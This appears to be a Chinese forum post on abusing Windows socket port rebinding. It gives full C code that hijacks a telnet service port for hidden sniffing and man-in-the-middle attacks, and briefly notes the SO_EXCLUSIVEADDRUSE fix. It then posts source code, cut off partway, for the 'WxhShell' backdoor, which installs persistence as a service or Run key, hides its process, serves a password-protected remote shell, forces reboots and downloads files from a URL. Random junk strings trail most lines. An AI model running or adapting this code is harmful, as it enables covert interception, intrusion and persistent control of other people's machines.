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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U+[ p>iP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u9c^:Op  
8&q[jxI@8  
  saddr.sin_family = AF_INET; <PMQ$s>KK  
fX:=_c   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Pi/V3D) B  
kH4xP3. i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W=-:<3XL  
WR :I2-1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  =&8Cg  
)#%v1rR  
  这意味着什么?意味着可以进行如下的攻击:  yxx9h3  
1iLrKA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e-E0Bp  
~7;AV(\%e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [N=v=J9  
8?l/x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yq6Gyoi<  
TmEJ!)*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DH IC:6EY  
G*N}X3H:o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ==!k99`f,  
h85 kQ^%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ov$S   
wk9qyv<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]K0G!TR<  
BmhIKXE{*  
  #include _48@o^{  
  #include YP4lizs.  
  #include hBRcI0R  
  #include    fk5$z0/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "h\ (a<  
  int main() r,8~qHbOT  
  { 8~!9bg6C  
  WORD wVersionRequested; ` zoC++hx  
  DWORD ret; Z%4w{T+[  
  WSADATA wsaData; UlD]!5NO  
  BOOL val; gcI?)F   
  SOCKADDR_IN saddr; /:GeXDJw  
  SOCKADDR_IN scaddr; !,Uzt1K:  
  int err; v\ <4y P  
  SOCKET s; O[<YYL 0  
  SOCKET sc; Ne b")  
  int caddsize; [sc4ULS &  
  HANDLE mt; {kOTQG?y  
  DWORD tid;   JqTR4[`Z\  
  wVersionRequested = MAKEWORD( 2, 2 ); Dkyw3*LCn%  
  err = WSAStartup( wVersionRequested, &wsaData ); ~TfN*0  
  if ( err != 0 ) {  8 ?4/  
  printf("error!WSAStartup failed!\n"); s2kom)  
  return -1; :ceT8-PBRx  
  } /w/um>>K.  
  saddr.sin_family = AF_INET; GNX`~%3KYc  
   Ox%.We 5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]_js-+w6  
Cj5=UUnO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @AfC$T  
  saddr.sin_port = htons(23); L (@".{T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EC8Fapy  
  { @Wl2E.)K;  
  printf("error!socket failed!\n"); D:=Q)Uh0I  
  return -1; ^&!iqK2o  
  } g;-6Hg'  
  val = TRUE; tO~o-R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M{)|9F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Dd' 4W  
  { lU8X{SV!  
  printf("error!setsockopt failed!\n"); 2qDyb]9  
  return -1; ^@f-Ni\  
  } :=oIvSnh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XY)I~6$Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IfzW%UL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =@*P})w5.  
[J\! 2\Oo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g!I0UAm  
  { <tI_u ~P  
  ret=GetLastError(); 2q}lSa7r  
  printf("error!bind failed!\n"); =2OLyZDI  
  return -1; )u>/:  
  } #!7b3>}  
  listen(s,2); Aq,&p,m03  
  while(1) fqm-?vy}  
  { *5z"Xy3J  
  caddsize = sizeof(scaddr); q c DJ  
  //接受连接请求 fl+dL#]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (X/dP ~  
  if(sc!=INVALID_SOCKET) 2*pNIc  
  { XJ6=Hg4_O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N?l  
  if(mt==NULL) b~Un=-@5a  
  { YDjjhe+  
  printf("Thread Creat Failed!\n"); XF i!=|F  
  break; ,tl(\4n  
  } M-zqD8D  
  } U}c05GiQw  
  CloseHandle(mt); Lt2<3DB  
  } ~vV+)KI  
  closesocket(s); /7&WFCc)(  
  WSACleanup(); {1L{   
  return 0; u,`cmyZ  
  }   q vGP$g  
  DWORD WINAPI ClientThread(LPVOID lpParam) |wkUnn4UB8  
  { \xjI=P'-25  
  SOCKET ss = (SOCKET)lpParam; Jl-:@[;  
  SOCKET sc; ,r,$x4*  
  unsigned char buf[4096]; ;dqu ld+q  
  SOCKADDR_IN saddr; 8],tGMu  
  long num; q{2 +Inf#:  
  DWORD val; qt=nN-AC(  
  DWORD ret; Co^GsUJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0I7 r{T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -:|t^RM;FT  
  saddr.sin_family = AF_INET; I`uOsZBO/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h: Hpz  
  saddr.sin_port = htons(23); 4=C7V,a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !~-@p?kW/  
  { k{E!X  
  printf("error!socket failed!\n"); DgGG*OXY  
  return -1; l5<&pb#b  
  } qMmhVUx  
  val = 100; tE]Y=x[Ux  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ; G4g;YHy|  
  { f19'IH$n{  
  ret = GetLastError(); 6I-Qq?L[H  
  return -1; {33B%5n"  
  } w'&QNm>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  Fm`c  
  { fa 2hQJ02  
  ret = GetLastError(); ;6tGRh$b  
  return -1; zdgSqv  
  } _.+2sm   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T3In0LQ  
  { ,A;wLI  
  printf("error!socket connect failed!\n"); VL8yL`~zc.  
  closesocket(sc); 3) _(t.$D  
  closesocket(ss); XpT+xv1`;  
  return -1; R@lA5w  
  } j!/=w q  
  while(1) ;bYLQ  
  { x]pZcx9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lJ(] ;/%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P|rreSv*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;, ^AR{+x  
  num = recv(ss,buf,4096,0); IZ&FNOSZ+4  
  if(num>0) p{w:^l(  
  send(sc,buf,num,0); E#(dri*#t  
  else if(num==0) "4WwiI9  
  break; ANlzF& K  
  num = recv(sc,buf,4096,0); !d{Ijs'T  
  if(num>0) 2}kJN8\F  
  send(ss,buf,num,0); #8i9@w  
  else if(num==0) )5Ofr-Y  
  break; A*TO0L  
  } r%vO^8FQ  
  closesocket(ss); ?xYoCn}Z  
  closesocket(sc); s E0ldN"  
  return 0 ; k'PNfx\K  
  } rk< 3QXv  
yN9setw*,M  
(T1d!v"~"  
========================================================== aSQvtv)91  
N5Ih+8zT  
下边附上一个代码,,WXhSHELL c-=z<:Kf  
D:fLQ8a  
========================================================== BB3wG*q  
+~'ap'k m  
#include "stdafx.h" v|GDPq  
cnR18NK  
#include <stdio.h> ?vV&tqnx%  
#include <string.h> *L=F2wW  
#include <windows.h> xL\R-H^c]  
#include <winsock2.h> e3}o3c_  
#include <winsvc.h> m!^z{S  
#include <urlmon.h> "XWO#,Ue  
zz1]6B*eX  
#pragma comment (lib, "Ws2_32.lib") 1D2Yued  
#pragma comment (lib, "urlmon.lib") T )"U q  
3mH(@ -OA  
#define MAX_USER   100 // 最大客户端连接数 U_ *K%h\m  
#define BUF_SOCK   200 // sock buffer ER)to<k  
#define KEY_BUFF   255 // 输入 buffer >;Vy{bL8  
y({EF~w  
#define REBOOT     0   // 重启 Y<[jUe`O;  
#define SHUTDOWN   1   // 关机 |$sMzPCxOk  
H@V+Q}  
#define DEF_PORT   5000 // 监听端口 T56%3i  
#6F/:j;  
#define REG_LEN     16   // 注册表键长度 Qcs >BOV~  
#define SVC_LEN     80   // NT服务名长度 ILMXWw  
[hXnw'Im/  
// 从dll定义API F8>J(7On  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 31`Eq*Y)4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uYAMW{AT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fSw6nEXn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v)-:0 f  
y4`uU1=  
// wxhshell配置信息 RinaGeim  
struct WSCFG { *k<{nj@y  
  int ws_port;         // 监听端口 2; ~jKR[~  
  char ws_passstr[REG_LEN]; // 口令 (sL!nRw  
  int ws_autoins;       // 安装标记, 1=yes 0=no \Zmn!Gg  
  char ws_regname[REG_LEN]; // 注册表键名 v8NoD_  
  char ws_svcname[REG_LEN]; // 服务名 CK#SD|~:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7$|L%Sk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W B7gY\Y&M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M\)(_I)V=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;ep@ )Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wH0Ks5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nk@ag)  
N9X`81)t  
}; Oj0,Urs7  
m1,yf*U  
// default Wxhshell configuration y5$AAas  
struct WSCFG wscfg={DEF_PORT,   ]n (:X  
    "xuhuanlingzhe", jb0LMl}/A  
    1, -:!FQ'/7E  
    "Wxhshell", /4bHN:I]M  
    "Wxhshell", #xe-Yw1!  
            "WxhShell Service", HG:9yP<,o  
    "Wrsky Windows CmdShell Service", @&}~r  
    "Please Input Your Password: ", {+^qm8n  
  1, m5KAKpCR,  
  "http://www.wrsky.com/wxhshell.exe", _~a5;[~  
  "Wxhshell.exe" '1[Bbs  
    }; Q|i`s=|  
v5g]_v*F  
// 消息定义模块 #SIIhpjA(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZGbY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jp viX#\S_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xa$p,_W:'  
char *msg_ws_ext="\n\rExit."; >do3*ko A  
char *msg_ws_end="\n\rQuit."; ZD t|g^  
char *msg_ws_boot="\n\rReboot..."; o}VW%G"  
char *msg_ws_poff="\n\rShutdown..."; 3,$G?auW  
char *msg_ws_down="\n\rSave to "; 04P!l  
3Q_L6Wj~  
char *msg_ws_err="\n\rErr!"; '?j,oRz^T  
char *msg_ws_ok="\n\rOK!"; ,G%?}TfC)  
-:NFF'  
char ExeFile[MAX_PATH]; |"o/GUI~  
int nUser = 0; E !}~j  
HANDLE handles[MAX_USER]; o%V%@q H  
int OsIsNt; $ITh)#Nj  
HqKI|^  
SERVICE_STATUS       serviceStatus; {Tl|>\[P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f<}>*xH/k  
!K5D:x  
// 函数声明 i\94e{uty[  
int Install(void); R@Bnrk  
int Uninstall(void); V/CZcMY_  
int DownloadFile(char *sURL, SOCKET wsh); SRBQ"X[M2  
int Boot(int flag); `8<h aU  
void HideProc(void); Kta7xtu  
int GetOsVer(void); siK:?A@4D  
int Wxhshell(SOCKET wsl); fkW TO"f-  
void TalkWithClient(void *cs); @l^BW*BCo  
int CmdShell(SOCKET sock); 6O# xV:Uc<  
int StartFromService(void); qGH\3g-  
int StartWxhshell(LPSTR lpCmdLine); )7TuV"  
\o2cztl=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G@I/Dy  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  :bBMy\(u  
SXx;- Ws  
// 数据结构和表定义 3Z-N*bhC  
SERVICE_TABLE_ENTRY DispatchTable[] = $S_G:}tna  
{ H<wrusRg  
{wscfg.ws_svcname, NTServiceMain}, dlB?/J<  
{NULL, NULL} (cLcY%$  
}; |T;NoWO+  
fjwUh>[ }  
// 自我安装 h:l4:{A64  
int Install(void) TOvpv@?-  
{ Z%1{B*(e  
  char svExeFile[MAX_PATH]; )AoF-&,w  
  HKEY key; t $yt8#Tk  
  strcpy(svExeFile,ExeFile); ?PSVVU q,Z  
Mw9;O6  
// 如果是win9x系统,修改注册表设为自启动 |(6H)S]$  
if(!OsIsNt) { ! :XMP*g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6<N Q/*(/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nW7Ew<`Q  
  RegCloseKey(key); /+{]?y,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]v6s](CE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [H&Z / .{F  
  RegCloseKey(key); ];VJ54  
  return 0; "O j2B|:s&  
    } 3El5g0'G  
  } B9(e"cMm  
} .6xIg+  
else { 6Lhfb\2?  
cc_v4d{x  
// 如果是NT以上系统,安装为系统服务 p?qW;1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3Sclr/t  
if (schSCManager!=0) VGtKW kVH  
{ jUg.Y98  
  SC_HANDLE schService = CreateService \$%q< _l  
  ( u/g4s (a  
  schSCManager, }8,[B50  
  wscfg.ws_svcname, |E =8  
  wscfg.ws_svcdisp, TU(w>v  
  SERVICE_ALL_ACCESS, LA%t'n h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i<uWLhgh1$  
  SERVICE_AUTO_START, SB}0u=5  
  SERVICE_ERROR_NORMAL,  q{*4BL'  
  svExeFile, 6}xFE]Df-Y  
  NULL, ^g eC?m  
  NULL, }:f \!b  
  NULL, ;S_\- ]m&g  
  NULL, rW<sQ0   
  NULL $b=4_UroS  
  ); LtIw{* 3  
  if (schService!=0) %A ^qm  
  { e+ckn   
  CloseServiceHandle(schService); pg:1AAhT[  
  CloseServiceHandle(schSCManager); ="=Aac#n`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vx&r  
  strcat(svExeFile,wscfg.ws_svcname); ~:M"JNcs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |wYOO(!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m\O|BMHn  
  RegCloseKey(key); +#IsRiH%>  
  return 0; V(A p|I:G  
    } d|?'yX  
  } k ICZc{} `  
  CloseServiceHandle(schSCManager); u{SJ#3C5  
} !W3bHy:C"  
} ]BiLLDz(  
map#4\  
return 1; ck"lX[d1  
} WUnmUW[/  
f#3U,n8:  
// 自我卸载 aHzS>  
int Uninstall(void) R]y[n;aGC  
{ ; M%n=+[O  
  HKEY key; ds9L4zfO  
/y~ "n4CK~  
if(!OsIsNt) { )QO"1#zg@c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3xU in  
  RegDeleteValue(key,wscfg.ws_regname); Mw,7+  
  RegCloseKey(key); `NNr]__  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mc #w:UH[  
  RegDeleteValue(key,wscfg.ws_regname); H*M)<"X  
  RegCloseKey(key); 4LfD{-_uW  
  return 0; NrrnG]#p1  
  } paG^W&`;  
} ?'L3B4  
} o;D[ F  
else { tnCGa%M  
k25:H[   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =eNh))]  
if (schSCManager!=0) a?]"|tQ'  
{ >PD*)Uq&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yS)73s/MrY  
  if (schService!=0) V7\@g  
  { qbwX*E~ ;  
  if(DeleteService(schService)!=0) { ZI8*PX%2  
  CloseServiceHandle(schService); %Gk?f=e  
  CloseServiceHandle(schSCManager); (g8<"< N?  
  return 0; =ZaTD-%id  
  } ee0)%hc1t  
  CloseServiceHandle(schService); vg6 ' ^5S7  
  } jZX2)#a!  
  CloseServiceHandle(schSCManager); hCcAAF*I;5  
} #A RQB2V  
} |*w}bT(PfR  
`?H yDny  
return 1; \ $PB~-Z  
} @D3Y}nR:  
`- \J/I  
// 从指定url下载文件 37S  bF,G  
int DownloadFile(char *sURL, SOCKET wsh) 'p{N5eM  
{ {d%% nK~  
  HRESULT hr; H(~:Ajj+zQ  
char seps[]= "/"; {"([p L  
char *token; IJ`%Zh{f  
char *file; G; *jL4  
char myURL[MAX_PATH]; <+tSTc4>r  
char myFILE[MAX_PATH]; l; ._ ?H  
T|{1,wP  
strcpy(myURL,sURL); A=z+@b6  
  token=strtok(myURL,seps); Tf bB1  
  while(token!=NULL) "Y> #=>8  
  { _7#9nJ3|  
    file=token; 1JFCYJy  
  token=strtok(NULL,seps); /2n-q_  
  } S?M'JoYy  
l|z0aF;z  
GetCurrentDirectory(MAX_PATH,myFILE); 1zDat@<H  
strcat(myFILE, "\\"); zP8a=Iv  
strcat(myFILE, file); nSM8o<)H  
  send(wsh,myFILE,strlen(myFILE),0); %rmn+L),;  
send(wsh,"...",3,0); \.`;p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pr%Y!|  
  if(hr==S_OK) m@z.H;  
return 0; YA:7^-Bv  
else B`)gXqBt  
return 1; VJeoO)<j  
[f?fA[, [  
} X(`wj~45VX  
);]9M~$  
// 系统电源模块 Cmsg'KqqT  
int Boot(int flag) d3nMeAI AO  
{ 8)wxc1  
  HANDLE hToken; FKX+ z  
  TOKEN_PRIVILEGES tkp; yFYFFv\?  
z; dFS  
  if(OsIsNt) { 3Dd"qON!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZJ$nHS?ra  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $hn=MOMc  
    tkp.PrivilegeCount = 1; xejQ!MAB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7Ntt#C;]U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OVo3.  
if(flag==REBOOT) { _>G.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) * 7<{Xbsj^  
  return 0; 0I`)<o-  
} /oWn0  
else { eYN =?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /*zngp @  
  return 0; )nK-39,G  
} I:ag}L8`  
  } r}-si^fo;  
  else { e#+u8LrN  
if(flag==REBOOT) { '\ MYC8"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sUCI+)cM3  
  return 0; >;$C@  
} cIL I%W1  
else { A *$JF>`7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j;GH|22  
  return 0; vpS&w  
} .d JX,^  
} GV+K] KDI  
-|"[S"e  
return 1; !R;NV|.eI6  
} O7M8!3Eqm  
``zgw\f[%  
// win9x进程隐藏模块 #GJ{@C3H8Q  
void HideProc(void) z^ai *   
{ b6mSPH@  
>o]!-46  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R 2{kS  
  if ( hKernel != NULL ) hnk,U:7}  
  { LXZ0up-B-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :"vW;$1 }  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cggu#//Z}Q  
    FreeLibrary(hKernel); Ap :mc:  
  } wb#ZRmx}  
e2~$=f-  
return; bvxol\7;  
} @d+NeS  
,EE,W0/zzM  
// 获取操作系统版本 K~C6dy  
int GetOsVer(void) EO_:C9=d{  
{ -KuC31s_W  
  OSVERSIONINFO winfo; B"@3Qav3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %OIJ.  
  GetVersionEx(&winfo); 7CK3t/3D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B$ Z%_j&  
  return 1; z154lY}K  
  else u{6b>c|,X  
  return 0; rT&rv^>f  
} THVF(M4v  
ou{}\^DgQ  
// 客户端句柄模块 \6{w#HsP8  
int Wxhshell(SOCKET wsl) :aIS>6  
{ >l0y ss)I  
  SOCKET wsh; ;ewqGDe'3  
  struct sockaddr_in client; oc^j<!Rh  
  DWORD myID; 'P:u/Sq?m  
i7%v2_  
  while(nUser<MAX_USER) B2R^oL' }  
{ uIvAmc4  
  int nSize=sizeof(client); 1(q &(p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z8Jrt3l{2  
  if(wsh==INVALID_SOCKET) return 1; +nz6+{li\  
61[ 8I},V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +.EP_2f9  
if(handles[nUser]==0) Az`c? W%  
  closesocket(wsh); UdiogXZ  
else ,:E*Mw:  
  nUser++; __3s3YG  
  } NrVE[Z#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )'+ tb\g  
G2 E4  
  return 0; 9W7 ljUg  
} xA&RMu&  
#80 [q3  
// 关闭 socket -lb,0   
void CloseIt(SOCKET wsh) 5}+&Em":  
{ yMd<<:Ap  
closesocket(wsh); o#^(mGj_.  
nUser--; Bh#?:h&f  
ExitThread(0); *\n-yx]  
} h:4Uv}Z  
~ \{a<-R  
// 客户端请求句柄 ki8;:m4  
void TalkWithClient(void *cs) fK0VFN8<I  
{ ZNKopA(=|%  
z AZ+'9LB  
  SOCKET wsh=(SOCKET)cs; PX} ~  
  char pwd[SVC_LEN]; nB &[R  
  char cmd[KEY_BUFF]; ^?~WIS  
char chr[1]; xnR;#Yc  
int i,j; y37c&XYq  
|*T`3@R;3  
  while (nUser < MAX_USER) { \U?$ r[P  
O 7Z?y*  
if(wscfg.ws_passstr) { Nueb xd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <\fB+ AZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,\Q^[e!m~  
  //ZeroMemory(pwd,KEY_BUFF); oOAn 5t@  
      i=0; C3]"y7  
  while(i<SVC_LEN) { YAc~,N   
dPm_jX  
  // 设置超时 L,+m5wKj[  
  fd_set FdRead; }Z,xF`  
  struct timeval TimeOut; 0p31C7!  
  FD_ZERO(&FdRead); e!B>M{  
  FD_SET(wsh,&FdRead); ^E#i5d+'N  
  TimeOut.tv_sec=8; . XVW2ISv  
  TimeOut.tv_usec=0; it#,5#Y:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MB!_G[R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [wO|P{8\"  
blk4@pg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +W7#G `>  
  pwd=chr[0]; <b,oF]+;z  
  if(chr[0]==0xd || chr[0]==0xa) { =-m"y~{>3  
  pwd=0; 0^-1/Ec  
  break; om1@;u8u  
  } %FhUjHm  
  i++; nn?h;KzB  
    } y!kU0  
%`# HGji)  
  // 如果是非法用户,关闭 socket ]Uu:t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E5+-N  
} j(>~:9I`  
_no;B_m~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1zP)~p3a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gpb<,v_3  
g.wDg  
while(1) { H5)8TR3La  
(oxMBd+n1  
  ZeroMemory(cmd,KEY_BUFF); Tp[-,3L  
z#|tcHVFT  
      // 自动支持客户端 telnet标准   J/(^Z?/~P!  
  j=0; w~%Rxdh?8W  
  while(j<KEY_BUFF) { n([9U0!gu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )s~szmJoVD  
  cmd[j]=chr[0]; /n3Qcht  
  if(chr[0]==0xa || chr[0]==0xd) { A0l-H/l7  
  cmd[j]=0; ]F#}8$  
  break; Aw) I:d7F  
  } ?heg_ ~P  
  j++; [a[.tR38e  
    } b$JrLZs$_  
6>Z)w}x^  
  // 下载文件 N87)rhXSo,  
  if(strstr(cmd,"http://")) { ;ipT0*Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #WlTE&  
  if(DownloadFile(cmd,wsh)) nSr_sD6"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6g-Q  
  else >At* jg48  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @d1YN]ede  
  } 3Jh!YzI8  
  else { l8~s#:v6X  
%E k!3t  
    switch(cmd[0]) { QnTKo&|9  
  4Nl3"@<$  
  // 帮助 "sUjJ|  
  case '?': { *Tum(wWZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Iy#=Nq=  
    break; 5XzN%<_h9  
  } d2U+%%Tdw  
  // 安装 L&,&SDr  
  case 'i': { Fxx -2(U  
    if(Install()) PY76;D*`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pdySip<  
    else tu:W1?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'D:R]@eK]  
    break; $V\Dl]a1  
    } BA6(Owb  
  // 卸载 :%4N4| Q  
  case 'r': { ;@FCa j&  
    if(Uninstall()) ]J^/`gc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vs%d}]v  
    else {XEX0|TZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^r@,(r6w  
    break; QX+Xi<YE-  
    } Y.b?.)u&  
  // 显示 wxhshell 所在路径 @:Emmzucv|  
  case 'p': { {l9gYA  
    char svExeFile[MAX_PATH]; 1}Th@Vq  
    strcpy(svExeFile,"\n\r"); Gq]/6igzX  
      strcat(svExeFile,ExeFile); g-4j1yJV<  
        send(wsh,svExeFile,strlen(svExeFile),0); cb5T-'hY  
    break; Sfa;;7W@R  
    } u10;qYfL8o  
  // 重启 KsSIX  
  case 'b': { Y3JIDT^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sH.,O9'r  
    if(Boot(REBOOT)) p5aqlYb6r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8gxo{<,9  
    else { ]YrgkC35  
    closesocket(wsh); %z6_,|%  
    ExitThread(0);  Pm"nwm  
    } ENy$sS6[D  
    break; jx#9  
    } yioX^`Fc(~  
  // 关机 )4R[C={  
